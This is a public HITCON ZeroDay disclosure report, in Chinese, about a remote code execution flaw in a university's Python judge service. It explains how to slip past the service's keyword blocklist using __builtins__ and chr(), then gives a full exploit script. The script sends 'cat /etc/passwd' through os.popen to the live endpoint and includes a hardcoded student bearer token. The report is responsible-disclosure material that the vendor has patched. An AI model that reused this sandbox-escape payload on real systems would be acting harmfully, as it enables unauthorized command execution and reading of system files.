國立中央大學 KMachine Python Judge 過濾不完善造成 RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01269
  •  發信 Vendor: 國立中央大學
  • Title: 國立中央大學 KMachine Python Judge 過濾不完善造成 RCE
  • Introduction: RCE 漏洞

處理狀態

目前狀態

公開
Last Update : 2026/10/23
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/10/13 05:12:03 : 新提交 (由 yoyo899843 更新此狀態)
  • 2026/10/14 15:49:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 18:44:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 18:44:58 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 18:44:58 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/15 17:17:08 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/10/23 03:00:29 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-01269
  • 通報者:yoyo899843 (yoyo899843)
  • 風險:低
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://kmachine.org/debugging/submit
https://kmachine.org/student/coding-help

敘述

一、漏洞概述

使用 Coding Help 時的程式編碼頁面,有 python judge 功能
圖片
在 /debugging/submit 端點中,伺服器端貌似使用 eval() 直接執行使用者提交的 Python 程式碼。伺服器設定了沙箱機制,並利用黑名單阻擋了 import、eval、exec、compile、__import__、globals 等關鍵關鍵字,但仍可繞過限制,達成 RCE,但未登入時無法使用,需要有學生帳號

二、繞過原理

Step 1: 透過 builtins.dict 取得 import 函數

imp = __builtins__.__dict__['__import__']

Step 2: 使用 chr() ASCII 編碼建構模組名稱,避開 'import' 關鍵字過濾

os_mod = imp(chr(111)+chr(115))

Step 3: 執行任意系統命令

cmd = 'cat /etc/passwd'\nprint(os_mod.popen(cmd).read())"

圖片

以下為 exploit python 檔案

import requests
import json

url = "https://www.kmachine.org/debugging/submit"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMTQ0MDM1MTkiLCJmdWxsX25hbWUiOiJcdTY1YmRcdTRmZTFcdTRmNTEiLCJyb2xlIjoic3R1ZGVudCIsImlhdCI6MTc5MTgyOTUwMCwiZXhwIjoxNzkxODcyNzAwfQ.bJ2YtI-o-ToisqgELM3oR_C2fVb51O1BEzJWZ6oOA74",
    "Content-Type": "application/json",
}

def submit(code, label=""):
    print(f"\n{'='*60}")
    print(f"[+] Test: {label}")
    try:
        resp = requests.post(url, headers=headers, json={
            "problem_id": "C6_P1",
            "student_id": "114403519",
            "code": code,
            "is_teacher": False
        }, timeout=20)
        data = resp.json()
        verdict = data.get("verdict", "unknown")
        print(f"[+] Verdict: {verdict}")
        if "results" in data:
            for r in data["results"][:1]:
                err = r.get("error", "")
                actual = r.get("actual", "")
                if err:
                    print(f"[-] Error: {err[:500]}")
                if actual:
                    print(f"[+] Actual output: {actual[:800]}")
    except Exception as e:
        print(f"[!] Exception: {e}")

submit(
    "a = input()\nimp = __builtins__.__dict__['__import__']\nos_mod = imp(chr(111)+chr(115))\ncmd = 'cat /etc/passwd'\nprint(os_mod.popen(cmd).read())",
    "chr() os.popen cat /etc/passwd"
)

修補建議

使用獨立子程序與加強沙箱,如nsjail、Firecracker microVM 等,並執行使用者的資源限制,防止用於占用資源

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;